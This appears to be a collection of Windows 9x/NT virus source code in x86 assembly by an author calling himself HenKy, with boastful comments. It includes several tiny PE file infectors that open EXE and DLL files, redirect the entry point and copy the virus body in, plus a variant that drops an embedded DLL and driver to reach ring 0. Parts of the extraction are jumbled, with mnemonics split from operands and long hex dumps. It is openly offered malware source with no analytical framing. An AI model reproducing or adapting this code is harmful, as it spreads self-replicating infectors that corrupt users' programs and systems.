; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ ; PRIVILEGES ; THE BFF712B9h ADDRESS IS THE CALL VINT21 ; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL ; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL ) .386P .MODEL FLAT LOCALS EXTRN MIX_SIZ MACROSIZE ExitProcess:PROC EQU (FILE_END - MEGAMIX) MACRO DB DB DB ENDM

MIX_SIZ/00100 mod 10 + "0" MIX_SIZ/00010 mod 10 + "0" MIX_SIZ/00001 mod 10 + "0"

.DATA DB 'BIEN PEKEÑO BIEN... LIKE AN ESPORE... HEHEHE',0 DB ' W9X ESPORE SIZE = ' MACROSIZE .CODE MEGAMIX: ; EDX: BUFFER ; EAX: EIP ; ECX: BUFFER VINT21: DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE DB 'H' ; HenKy ;P XCHG EDI, EAX ; EDI: DELTA MOV ESI,0C1000000H ; ESI: BUFFER MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H ;EDX: POINTER TO FNAME MOV ECX,28500 ; LIMIT PORK: INC EDX CMP WORD PTR [EDX],':C'

JE KAA LOOP PORK OK: PUSH 00401000H OLD_EIP EQU $-4 WARNING: RET KAA: MOV AX, 3D02h CALL [EDI] XCHG EBX, EAX PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI CALL PHECT POPAD MOV AH, 3Eh CALL [EDI] JMP PORK PHECT: XOR ECX,ECX MOV EDX, ESI MOV AH, 3Fh CALL R_W MOV ECX, [ESI+3Ch] LEA EAX, [ESI+ECX] CMP BYTE PTR [EAX], "P" JNE WARNING MOV ECX,[EAX+28H] CMP ECX, 1024 JB WARNING PUSH EBP ADD ECX,[EAX+34H] MOV [EBP+OLD_EIP-MEGAMIX],ECX MOV EDI,EAX PORRO: INC EDI CMP BYTE PTR [EDI],'B' ; hehehehe JNE PORRO INC EDI SUB EDI,ESI MOV EDX,EDI XCHG DWORD PTR [EAX+28h], EDI LEA EDI, [ESI+EDX] PUSH MIX_SIZ/4 POP ECX POP EAX PUSH EAX XCHG ESI,EAX REP MOVSD POP EDI MOV EDX, EAX W: MOV AH, 40h R_W: PUSHAD XOR EAX,EAX MOV AH, 42h CDQ CALL [EDI] POPAD MOV CH, 4h

CALL [EDI] RET ALIGN 4 FILE_END: PUSH 0 CALL ExitProcess END MEGAMIX

;---------------------------- W95 PUTITA BY HenKy ----------------------------; ;-AUTHOR: HenKy ; ;-MAIL: HenKy_@latinmail.com ; ;-ORIGIN: SPAIN ;

; BAH.... ONLY 183 BYTES.... SMALL RING 3 VIRUS .386P .MODEL FLAT LOCALS EXTRN MIX_SIZ .DATA DB '0 .CODE MEGAMIX: ExitProcess:PROC EQU (FILE_END - MEGAMIX)

RETOX:

VINT21: DD 0BFF712B9h ; MOV ECX,0C3B912F7H ;-) Z0MBiE RET XCHG EDI, EAX ; EDI: DELTA MOV ESI,0C1000000H ; ESI: BUFFER MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H MOV AH, 2FH CALL [EDI] PUSH ES PUSH EBX PUSH DS POP ES MOV AH, 1Ah LEA EDX, [ESI.DTA] CALL [EDI] MOV AH, 4Eh XOR ECX,ECX LEA EDX, [EDI+IMASK-MEGAMIX]

FF_: CALL [EDI] JC OK MOV AX, 3D02h LEA EDX, [ESI.DTA+1Eh] CALL [EDI] XCHG EBX, EAX PUSHAD CALL PHECT POPAD MOV AH, 3Eh CALL [EDI]

MOV AH, 4Fh JMP FF_ OK: POP EDX POP DS MOV AH, 1Ah CALL [EDI] PUSH ES POP DS PUSH 00401000H OLD_EIP EQU $-4 PUSH EDI WARNING:POP EDI RET PHECT: PUSH EDI XOR ECX,ECX MOV EDX, ESI PUSH ESI MOV AH, 3Fh CALL R_W MOV ECX, [ESI+3Ch] LEA EAX, [ESI+ECX] CMP BYTE PTR [EAX], "P" JNE WARNING CMP DWORD PTR [EAX+28h], 1024 JB WARNING MOV ADD MOV MOV PORRO: INC EDI CMP BYTE PTR [EDI],'B' ; hehehehe JNE PORRO INC EDI POP ECX SUB EDI,ECX MOV EDX,EDI XCHG DWORD PTR [EAX+28h], EDI LEA EDI, [ESI+EDX] PUSH MIX_SIZ/4 POP ECX POP EAX PUSH EAX XCHG ESI, EAX REP MOVSD POP EDI MOV EDX, EAX W: MOV AH, 40h R_W: PUSHAD XOR EAX,EAX ECX,[EAX+28H] ECX,[EAX+34H] [EBP+OLD_EIP-MEGAMIX],ECX EDI,EAX

MOV AH, 42h CDQ CALL [EDI] POPAD MOV CH, 4h CALL [EDI] RET IMASK ALIGN 4 FILE_END: DB "*.ZZZ", 0

SF DTA SF

STRUC DB 1024 DUP(?) DB 43 DUP(?) ENDS

PUSH 0 CALL ExitProcess END MEGAMIX

;-------------------------------- W95 ESTUKISTA BY HenKy ----------------------------; ;-AUTHOR: HenKy ; ;-MAIL: HenKy_@latinmail.com ; ;-ORIGIN: SPAIN ; ; VIRUS_SIZE = 126 BYTES!!!! ; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!! ; (NOT TESTED UNDER ME) ; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM ; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES ; THE BFF712B9h ADDRESS IS THE CALL VINT21 ; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE ; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND ; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)

;BUGS: ; ; ; TOO)

* THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST). * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS

; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS ; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE) ; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S

;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)

;81621788 ;81621798 ;816217A8 ;816217B8 ;816217C8 ;816217D8 ;816217E8 ;816217F8 ;81621808 ;81621818 ;81621828 ;81621838 ; ....

FF 00 00 00 00 00 00 00 00 00 49 2E

FF 00 00 00 00 00 00 00 00 00 4E 45

FF 00 00 00 00 00 00 00 00 00 50 58

FF 00 00 00 00 00 00 00 00 00 52 45

04 00 00 00 00 00 00 00 00 00 4F 20

00 00 00 00 00 00 00 00 00 00 47 00

00 00 00 00 00 00 00 00 00 00 5C 00

00 00 00 00 00 00 00 00 00 00 41 00

00 00 00 00 00 00 00 00 00 20 5A 48

00 00 00 00 00 00 00 00 00 00 50 00

00 00 00 00 00 00 00 00 00 00 52 00

00 00 00 00 00 00 00 00 00 A0 5C A0

00 00 00 00 00 00 00 00 00 43 41 44

00 00 00 00 00 00 00 00 00 3A 5A 00

00 00 00 00 00 00 00 00 00 5C 50 00

00 ÿÿÿÿEOT 00 00 00 00 00 00 00 00 57 C:\W 52 INPROG\AZPR\AZPR 00 .EXE H D

;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ׂ<STX

PE

LSOHBS

;81621CE8 ;81621CF8 ;81621D08 ;81621D18 ;81621D28 ;81621D38 ;81621D48 ;81621D58 ;81621D68 ;81621D78 ;81621D88 ;81621D98 ;81621DA8 ;81621DB8 ;81621DC8 ;81621DD8 ;81621DE8 ;81621DF8 ;81621E08 ;81621E18 ; .... ;81621E38 ;81621E48 ;81621E58 ;81621E68 ;81621E78 ;81621E88 ;81621E98 ;81621EA8 ;81621EB8 ;81621EC8 ;81621ED8 ;81621EE8 ;81621EF8 ;81621F08 ;81621F18 ;81621F28 ;81621F38 ;81621F48 ;81621F58 ;81621F68 ;81621F78 ; ....

A0 0B 01 00 04 00 00 00 00 00 00 00 00 00 00 2E 00 00 00 00

95 01 40 10 00 00 20 00 A0 00 00 00 00 00 00 74 C0 00 20 00

37 02 0B 00 00 00 00 00 08 00 00 00 00 00 00 65 00 00 00 00

39 12 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 00

00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 74 00 40 00 00

00 22 10 02 00 00 10 00 94 00 00 00 00 00 00 00 04 00 40 00

00 02 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 00 00

00 00 00 01 00 00 00 64 00 CC 00 00 00 00 00 00 00 2E 00 00

00 A8 40 00 90 00 00 54 00 52 00 00 00 00 00 30 00 69 04 00

00 00 02 0B 0C 04 00 0B 00 0B 00 00 00 00 00 02 00 64 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 00 00

E0 00 00 00 00 00 10 D4 00 08 00 00 00 00 00 00 00 74 00 40

00 50 00 00 04 00 00 01 00 00 00 00 00 00 00 10 00 61 C4 00

82 05 40 00 00 01 00 00 00 00 00 00 00 00 10 00 00 00 00 00

01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0

•79 à ‚SOH VTSOHSTXDC2 "STX ¨ PENQ SOH@VT DLE @STX @ DLE STX SOH VT EOT FF EOT STX EOT SOH DLE DLE dTVT ÔSOH BS ”STX ÌRVT BS

.text À EOT @ À.idata @STX EOT Ä @ À

DLE 0STX DLE

00 00 00 00 2E 00 00 00 00 61 00 00 00 00 40 E0 08 30 20 5A B4

1C 00 50 00 72 00 00 A0 00 73 3A 00 10 00 00 13 00 23 00 50 03

00 00 05 00 65 00 00 02 00 70 01 00 00 00 00 62 00 62 00 52 00

00 00 00 00 6C 00 00 00 00 72 00 00 00 00 A0 81 00 81 A0 5C A0

00 40 00 00 6F 00 40 00 00 00 00 50 00 00 00 F0 00 5C 43 41 4E

C8 00 00 00 63 E4 00 A0 00 00 7E 08 80 00 00 13 00 1F 3A 5A 45

00 00 03 00 00 00 00 08 00 00 02 00 0C 00 00 62 00 62 5C 50 01

00 C0 00 00 00 00 C0 00 00 00 00 C0 00 00 00 81 00 81 57 52 00

00 2E 00 00 00 00 2E 00 00 00 00 2E 00 00 E0 18 00 18 49 2E 00

00 62 50 00 50 00 72 9A 00 40 00 64 00 00 1C 00 00 00 4E 45 00

00 73 05 00 00 00 73 01 00 01 00 61 00 00 62 08 40 6C 50 58 00

00 73 00 00 00 00 72 00 00 00 00 74 00 00 81 00 00 1F 52 45 00

00 00 00 40 00 00 63 00 40 00 00 61 00 40 FF 8F D7 62 4F 00 00

00 00 00 00 50 00 00 E4 00 40 00 00 B8 00 FF 02 2B 81 47 CC 00

00 00 00 00 08 00 00 00 00 0B 00 00 03 00 FF 00 01 08 5C CC 8C

00 00 00 C0 00 00 00 00 C0 00 00 00 00 C0 FF 00 00 00 41 CC 03

È À.bss ETX PENQ @ À .reloc P PBS ä @ À.rsrc STX BS šSOH ä @ À aspr @SOH @VT :SOH ~STX PBS À.data DLE €FF ¸ETX @ À @ àFSb ÿÿÿÿ àDC3b ðDC3b CAN BS STX BS @ ×+SOH 0#b \USb CAN lUSb BS C:\WINPROG\A ZPR\AZPR.EXE ÌÌÌ ´ETX NESOH ŒETX @ PENQ

FS

.586P PMMX ; WORF... .MODEL FLAT LOCALS EXTRN MIX_SIZ MACROSIZE

... JEJEJE

ExitProcess:PROC EQU (FILE_END - MEGAMIX) MACRO DB DB DB ENDM

MIX_SIZ/00100 mod 10 + "0" MIX_SIZ/00010 mod 10 + "0" MIX_SIZ/00001 mod 10 + "0"

.DATA

DB 0 DB 'SIZE = ' MACROSIZE .CODE

MEGAMIX: ; EAX: EIP ; ESI: BUFFER

VINT21: DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE DB 'H' ; HenKy ;P XCHG EDI, EAX ; EDI: DELTA MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG) MOV ESI,0C1000000H ; ESI: MY DATA BUFFER MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H ;EDX: POINTER TO FNAME ;LEA EDX,POPOPOP ; FOR DEBUG ONLY ;JMP KAA MOV ECX,28000 ; LIMIT PUSHAD AMIMELASUDA: POPAD PORK: INC EDX CMP WORD PTR [EDX],':C' JE KAA LOOP PORK

WARNING: PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :) RET KAA: PUSHAD MOV AX, 3D02h ; open CALL [EDI] JC AMIMELASUDA XCHG EBX, EAX MOV EDX,ESI XOR ECX,ECX MOV CH,4H MOV AH, 3Fh ;read CALL [EDI] MOV EAX, [EDX+3Ch] ADD EAX,EDX MOV EDI,EAX PUSH 32 POP ECX DEPOTA: INC EDI CMP BYTE PTR [EDI],'B'; HEHEHEHE

JE GOSTRO JMP DEPOTA GOSTRO: INC PUSH MOV REP MOV POP SUB XCHG CMP JB ADD XCHG EDI EDI ESI,EBP MOVSD ESI,EDI EDI EDI,EDX DWORD PTR [EAX+28H],EDI DI,1024 CLOZ EDI,[EAX+34H] DWORD PTR [ESI-MONGORE],EDI

PUSH EBP POP EDI XOR EAX,EAX PUSHAD MOV AH, 42h CDQ CALL [EDI] POPAD MOV CH,4H MOV AH,40H ; write CALL [EDI] CLOZ: MOV AH,3EH ; close CALL [EDI] JMP AMIMELASUDA FILE_END: DW 0 ;-P

MONGORE EQU 95 ; OLD_EIP PUSH 0 CALL ExitProcess ;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0 END MEGAMIX

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ADONAI.ASM]ÄÄÄ .586P .MODEL FLAT LOCALS

EXTRN KERNEL95 MIX_SIZ MIX_MEM NABLA MARKA FLAGZ MAX_PATH MACROSIZE

ExitProcess:PROC EQU EQU EQU EQU EQU EQU EQU 0BFF70000h FILE_END-MEGAMIX MEM_END-MEGAMIX DELTA-MEGAMIX 66 00000020H OR 20000000H OR 80000000H 260

MACRO DB DB DB DB ENDM MIX_SIZ/01000 MIX_SIZ/00100 MIX_SIZ/00010 MIX_SIZ/00001 mod mod mod mod 10 10 10 10 + + + + "0" "0" "0" "0"

; HA HA HA HA.... THE WORLD FIRST VIRUS ABLE TO JUMP INTO RING 0 ; ON NT MACHINES (NT3.1, NT4 AND W2000) .DATA DB 0 .CODE MEGAMIX: FNOP DB POP CALL DELTA: POP MOV SUB SUB NEW_EIP EQU MOV MOV XOR SZ: CMP JZ SUB JMP F_GPA: MOV ADD MOV ADD MOV ADD MOV EBX, EBX, EBX, EBX, ESI, ESI, EDX, [EAX+3Ch] EAX [EBX+120] EAX [EBX+(3*4)] EAX [EBX+(8*4)] BYTE PTR [EAX],'M' F_GPA EAX,1000H SZ ; ZERO :/

'henKy' EBP DELTA EBP ECX,EBP ECX,NABLA ECX,00001000H $-4 DWORD PTR [EBP+BASE-DELTA],ECX EAX, [ESP] AX,AX

; BEST METHOD :P

ADD MOV DEC FIND_GPA: MOV ADD PUSHAD CALL DB GAP: POP PUSH POP REPE POPAD JNE MOV ADD MOVZX MOV ADD LEA MOV ADD MOV LOOP_FGPA: LOOP XCHG LEA LEA GPI: PUSH PUSH CALL CLD STOSD

EDX, EAX ECX, [EBX+(6*4)] ECX

EDI, [EDX+(ECX*4)] EDI, EAX GAP "GetProcAddress",0 ESI 15 ECX CMPSB LOOP_FGPA ESI, [EBX+(9*4)] ESI, EAX ESI, WORD PTR [ESI+(ECX*2)] EBX, [EBX+(7*4)] EBX, EAX EBX, [EBX+(ESI*4)] ESI, [EBX] ESI, EAX [EBP+GPA-DELTA], ESI

FIND_GPA EAX,EBX ESI, [EBP+APIs-DELTA] EDI, [EBP+APIaddresses-DELTA] ESI EBX [EBP+GPA-DELTA]

NPI: LODSB OR JNZ CMP JNZ LEA MOV CALL CDQ PUSH LEA PUSH PUSH LEA PUSH PUSH CALL AL, AL SHORT NPI [ESI], AL GPI EAX,[EBP+DLLN-DELTA] ECX,DLL_SIZ CREADOR

EDX EBX, [EBP+BYTES-DELTA] EBX DLL_SIZ EAX, [EBP+DLL-DELTA] EAX DWORD PTR [EBP+FileHandle-DELTA] DWORD PTR [EBP+WriteFileA-DELTA]

PUSH CALL

DWORD PTR [EBP+FileHandle-DELTA] DWORD PTR [EBP+CloseHandle-DELTA]

LEA MOV CALL CDQ PUSH LEA PUSH PUSH LEA PUSH PUSH CALL PUSH CALL JMP RETURN: LEA PUSH CALL LEA PUSH CALL LEA PUSH CALL INFECT: LEA PUSH LEA PUSH CALL MOV

EAX,[EBP+SYSN-DELTA] ECX,SYS_SIZ CREADOR

EDX EBX, [EBP+BYTES-DELTA] EBX SYS_SIZ EAX, [EBP+SYS-DELTA] EAX DWORD PTR [EBP+FileHandle-DELTA] DWORD PTR [EBP+WriteFileA-DELTA] DWORD PTR [EBP+FileHandle-DELTA] DWORD PTR [EBP+CloseHandle-DELTA] INIT_E

EAX,[EBP+DLLN-DELTA] EAX [EBP+FreeLibraryA-DELTA] EAX, [EBP+SYSN-DELTA] EAX DWORD PTR [EBP+DeleteFileA-DELTA] EAX,[EBP+DLLN-DELTA] EAX DWORD PTR [EBP+DeleteFileA-DELTA]

EAX, [EBP+OFFSET Win32FindData-DELTA] EAX EAX, [EBP+OFFSET IMASK-DELTA] EAX DWORD PTR [EBP+FindFirstFile-DELTA] DWORD PTR [EBP+SearcHandle-DELTA],EAX

LOOPER: INC JZ DEC OR JNZ WARNING: EXIT: MOV ORG OLD_EIP DD ADD ORG DD PUSH EAX,12345678H $-4 00001000H EAX,12345678H $-4 00400000H EAX EAX WARNING EAX EAX,EAX ALLKEY

BASE

RET ALLKEY: PUSH PUSH CDQ PUSH PUSH PUSH PUSH PUSH PUSH LEA PUSH CALL INC JZ DEC MOV MOV CALL OR JZ MOV MOV CALL OR JZ MOV MOV MOV ADD CMP JNZ CMP JZ PUSH PUSH CALL PUSH CALL POP MOV ADD CALL XCHG MOV CALL OR JZ MOV MOV CALL OR JZ MOV DWORD PTR [EBP+OLD_EIP-DELTA] DWORD PTR [EBP+NEW_EIP-DELTA] EDX 80h 3 EDX EDX 0C0000000h EAX ,[EBP+offset FNAME-DELTA] EAX DWORD PTR [EBP+CreateFile-DELTA]

; OPEN IT!

EAX Cerrar EAX DWORD PTR [EBP+FileHandle-DELTA],EAX ; SAVE HNDL ECX, DWORD PTR [EBP+WFD_nFileSizeLow-DELTA] CreateMap ; CREATE A MAP EAX,EAX Cerrar DWORD PTR [EBP+MapHandle-DELTA],EAX ECX, DWORD PTR [EBP+WFD_nFileSizeLow-DELTA] MapFile ; MEMORY PROYECTION EAX,EAX Cerrar DWORD PTR [EBP+MapAddress-DELTA],EAX ESI,EAX ; GET PE HDR ESI,[EAX+3CH] ESI,EAX BYTE PTR [ESI],"P" ; IS A 'P'E ? Cerrar BYTE PTR [ESI+MARKA],"H" ; HenKy IS HERE ? Cerrar DWORD PTR [ESI+3CH] DWORD PTR [EBP+MapAddress-DELTA] ; CLOSE DWORD PTR [EBP+UnmapViewOfFile-DELTA] DWORD PTR [EBP+MapHandle-DELTA] DWORD PTR[EBP+CloseHandle-DELTA] ECX EAX,DWORD PTR [EBP+WFD_nFileSizeLow-DELTA] ; MAP AGAIN EAX,MIX_SIZ Align ECX,EAX DWORD PTR [EBP+NewSize-DELTA],ECX CreateMap EAX,EAX Cerrar DWORD PTR [EBP+MapHandle-DELTA],EAX ECX,DWORD PTR [EBP+NewSize-DELTA] MapFile EAX,EAX ; IM TIRED TO REPEAT THIS SHIT !!! Cerrar DWORD PTR [EBP+MapAddress-DELTA],EAX ; AGAIN

WIHT VIRSIZE

MOV ADD MOV MOVZX DEC IMUL ADD ADD MOV SHL ADD PUSHAD CMP JNZ MOV MOV NO_REL: POPAD MOV MOV MOV MOV ADD PUSH MOV ADD MOV XCHG MOV ADD MOV CALL MOV MOV POP MOV ADD MOV OR MOV LEA XCHG ADD PUSH POP REP UnMapFile: PUSH CALL CloseMap: PUSH CALL Cerrar: POP

ESI,[EAX+3CH] ESI,EAX EDI,ESI EAX,WORD PTR [EDI+06H] EAX EAX,EAX,28H ESI,EAX ESI,78H EDX,[EDI+74H] EDX,3 ESI,EDX DWORD PTR [ESI],"ler." NO_REL DWORD PTR [ESI],"eti." WORD PTR [ESI+4],"tx"

EAX,[EDI+28H] DWORD PTR [EBP+OLD_EIP-DELTA],EAX EDX,[ESI+10H] EBX,EDX EDX,[ESI+14H] EDX EAX,EBX EAX,[ESI+0CH] DWORD PTR [EBP+NEW_EIP-DELTA],EAX EAX,[EDI+28H] ; NEW EIP EAX,[ESI+10H] EAX,MIX_SIZ ECX,[EDI+3CH] Align [ESI+10H],EAX ;NEW PHYSSIZE [ESI+08H],EAX ;NEW VIRTSIZE EDX EAX,[ESI+10H] EAX,[ESI+0CH] [EDI+50H],EAX ; NEW IMAGESIZE DWORD PTR [ESI+24H],FLAGZ BYTE PTR [EDI+MARKA],"H" ; HenKy! ESI,[EBP+MEGAMIX-DELTA] EDI,EDX EDI,DWORD PTR [EBP+MapAddress-DELTA] (MIX_SIZ / 4) ECX MOVSD

;SAVE OLD EIP

DWORD PTR [EBP+MapAddress-DELTA] DWORD PTR [EBP+UnmapViewOfFile-DELTA]

DWORD PTR [EBP+MapHandle-DELTA] DWORD PTR [EBP+CloseHandle-DELTA]

DWORD PTR [EBP+NEW_EIP-DELTA]

POP PUSH CALL TOPO:

DWORD PTR [EBP+OLD_EIP-DELTA] DWORD PTR [EBP+FileHandle-DELTA] DWORD PTR [EBP+CloseHandle-DELTA]

LEA PUSH PUSH CALL JMP

EAX, [EBP+offset Win32FindData-DELTA] EAX DWORD PTR [EBP+SearcHandle-DELTA] DWORD PTR [EBP+FindNextFile-DELTA] LOOPER

CreateMap: CDQ PUSH PUSH PUSH PUSH PUSH PUSH CALL RET

EDX ECX EDX 4H EDX DWORD PTR [EBP+FileHandle-DELTA] DWORD PTR [EBP+CreateFileMappingA-DELTA]

MapFile: CDQ PUSH PUSH PUSH INC INC PUSH PUSH CALL RET CREADOR: CDQ PUSH PUSH INC PUSH DEC PUSH PUSH PUSH PUSH CALL MOV RET Align: PUSH CDQ PUSH DIV POP SUB EDX EAX ECX EAX ECX,EDX

ECX EDX EDX EDX EDX EDX DWORD PTR [EBP+MapHandle-DELTA] DWORD PTR [EBP+MapViewOfFile-DELTA]

EDX ECX EDX EDX EDX EDX EDX 80000000h + 40000000h EAX DWORD PTR [EBP+CreateFile-DELTA] DWORD PTR [EBP+FileHandle-DELTA],EAX

ADD POP RET INIT_E: CALL MY: POP SUB PUSH MOV SUB PUSH CALL DLLN SEL32: CALL PUSH CALL DB EXEC: PUSH CALL MOV LEA PUSH PUSH LEA PUSH CALL TEST JNE DB

EAX,ECX EDX

MY EDI EDI,OFFSET MY EBP EBP,ESP ESP,18H ESI SEL32 'callgate.dll',00h

[EDI+LoadLibraryA] EAX EXEC '_CreateCallGate@12',00h

EAX [EDI+GPA] EBX,EAX EAX,DWORD PTR [EBP-2] EAX 3 EAX ,[EDI+RING0] EAX EBX EAX,EAX ERROR

MOV MOV ADD DW DB ERROR: XOR POP MOV POP JMP RING0: PUSH MOV PUSHAD MOV MOV

CX,WORD PTR [EBP-2] WORD PTR [EBP-14h],CX ESP,8 05dffh 0e8h EAX,EAX ESI ESP,EBP EBP RETURN

EBP EBP,ESP AX, 1000 BX, 200

MOV MOV OUT MOV MOV DIV OUT MOV OUT IN MOV OR OUT l1: MOV l2: LOOP DEC JNZ MOV OUT POPAD POP RETF SYSN APIs: DB DB DB DB DB DB DB DB DB DB DB DB DB DB

CX, AX AL, 0b6h 43h, AL DX, 0012h AX, 34dch CX 42h, AL AL,AH 42h, AL AL, 61h AH, AL AL, 03h 61h, AL ECX, 9680 l2 BX l1 AL, AH 61h, AL EBP 0Ch 'callgate.sys',0

Zero_

"CreateFileA",0 "CloseHandle",0 "FindFirstFileA",0 "FindNextFileA",0 "ReadFile",0 "MapViewOfFile",0 "UnmapViewOfFile",0 "CreateFileMappingA",0 "LoadLibraryA",0 "FreeLibrary",0 "WriteFile",0 "DeleteFileA",0 0

IMASK GPA_95 GPA_NT

DB '*.zzz',0 ; FOR DEBUGZZZZ DB DB 0C2H,04H,00H,57H,6AH,22H,2Bh,0D2H 0C2H,04H,00H,55H,8Bh,4CH,24H,0CH 48H,03H,00H,55H,8Bh,0ECh,51H,51H 00FH,00H,00H,55H,8Bh,0ECh,51H,51H

GPA_2KB DB ;GPA_2K DB

DLL_SIZ EQU 18944 DLL DB 04DH,05AH,090H,000H,003H,000H,000H,000H,004H,000H,000H,000H,0FFH,0FFH DB 000H,000H,0B8H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,080H,000H,000H,000H,00EH,01FH,0BAH,00EH,000H,0B4H,009H,0CDH,021H,0B8H DB 001H,04CH,0CDH,021H,054H,068H,069H,073H,020H,070H,072H,06FH,067H,072H,061H DB 06DH,020H,063H,061H,06EH,06EH,06FH,074H,020H,062H,065H,020H,072H,075H,06EH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

020H,069H,06EH,020H,044H,04FH,053H,020H,06DH,06FH,064H,065H,02EH,00DH,00DH 00AH,024H,000H,000H,000H,000H,000H,000H,000H,050H,045H,000H,000H,04CH,001H 005H,000H,0E1H,08EH,063H,033H,000H,000H,000H,000H,000H,000H,000H,000H,0E0H 000H,00EH,021H,00BH,001H,003H,000H,000H,028H,000H,000H,000H,074H,000H,000H 000H,000H,000H,000H,0B0H,016H,000H,000H,000H,010H,000H,000H,000H,040H,000H 000H,000H,000H,000H,010H,000H,010H,000H,000H,000H,002H,000H,000H,004H,000H 000H,000H,000H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,000H,000H 0E0H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,002H,000H,000H,000H 000H,000H,010H,000H,000H,010H,000H,000H,000H,000H,010H,000H,000H,010H,000H 000H,000H,000H,000H,000H,010H,000H,000H,000H,060H,040H,000H,000H,06CH,000H 000H,000H,000H,0C0H,000H,000H,050H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,0D0H,000H,000H,00CH,003H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 024H,0C1H,000H,000H,0D4H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,02EH,074H,065H,078H,074H,000H,000H,000H,0CBH,027H,000H,000H,000H 010H,000H,000H,000H,028H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,060H,02EH,072H,064H 061H,074H,061H,000H,000H,0CCH,000H,000H,000H,000H,040H,000H,000H,000H,002H 000H,000H,000H,02CH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,040H,000H,000H,040H,02EH,064H,061H,074H,061H,000H,000H,000H 048H,065H,000H,000H,000H,050H,000H,000H,000H,010H,000H,000H,000H,02EH,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,040H,000H 000H,0C0H,02EH,069H,064H,061H,074H,061H,000H,000H,08AH,005H,000H,000H,000H 0C0H,000H,000H,000H,006H,000H,000H,000H,03EH,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,0C0H,02EH,072H,065H 06CH,06FH,063H,000H,000H,06CH,005H,000H,000H,000H,0D0H,000H,000H,000H,006H 000H,000H,000H,044H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,040H,000H,000H,042H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 